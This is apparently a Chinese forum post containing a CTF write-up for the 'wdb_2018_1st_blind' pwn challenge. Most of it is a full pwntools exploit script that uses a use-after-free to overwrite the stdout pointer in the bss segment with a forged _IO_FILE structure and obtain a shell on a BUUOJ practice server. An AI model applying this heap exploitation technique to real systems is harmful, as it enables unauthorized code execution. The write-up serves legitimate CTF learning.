roger 发表于 2020-9-1 07:53:34

wdb_2018_pwn_1st-blind(劫持bss段上的stdout指针来执行任意函数)

  wdb_2018_1st_blind(劫持bss段上的stdout指针来执行任意函数)
  首先,检查一下程序的保护机制
  然后,我们用IDA分析一下,程序里没有show功能
  有一个后门函数
  Delete功能存在UAF,但是delete功能只能用3次,因此劫持_IO_2_1_stdout来泄露libc地址次数不够用。
  由于got表也不可写,那么我们可以劫持bss段上的stdout指针,将其指向我们伪造的_IO_FILE结构体处,就可以调用backdoor函数了。

#coding:utf8
from pwn import *

#sh = process('./wdb_2018_1st_blind')
sh = remote('node3.buuoj.cn',29314)
backdoor = 0x00000000004008E3

def add(index,content):
   sh.sendlineafter('Choice:','1')
   sh.sendlineafter('Index:',str(index))
   sh.sendlineafter('Content:',content)

def edit(index,content):
   sh.sendlineafter('Choice:','2')
   sh.sendlineafter('Index:',str(index))
   sh.sendlineafter('Content:',content)

def delete(index):
   sh.sendlineafter('Choice:','3')
   sh.sendlineafter('Index:',str(index))

fake_chunk_in_bss = 0x0000000000601FF5
add(0,'a'*0x60) #0
delete(0)
edit(0,p64(fake_chunk_in_bss))
add(1,'a'*0x60) #1
#伪造一个IO_FILE
payload = p64(fake_chunk_in_bss + 0xB)
payload += p64(0)
payload += p64(fake_chunk_in_bss + 0x10) #vtable
payload += '\x00'*0x3 + p64(fake_chunk_in_bss - 0x78) + p64(backdoor) + '\x00'*0x25 + p64(0x601FF0)
add(2,payload) #申请到bss上,篡改stdout指针,伪造IO_FILE,当调用printf时,会getshell

sh.interactive()
                                                                                          
页: [1]
查看完整版本: wdb_2018_pwn_1st-blind(劫持bss段上的stdout指针来执行任意函数)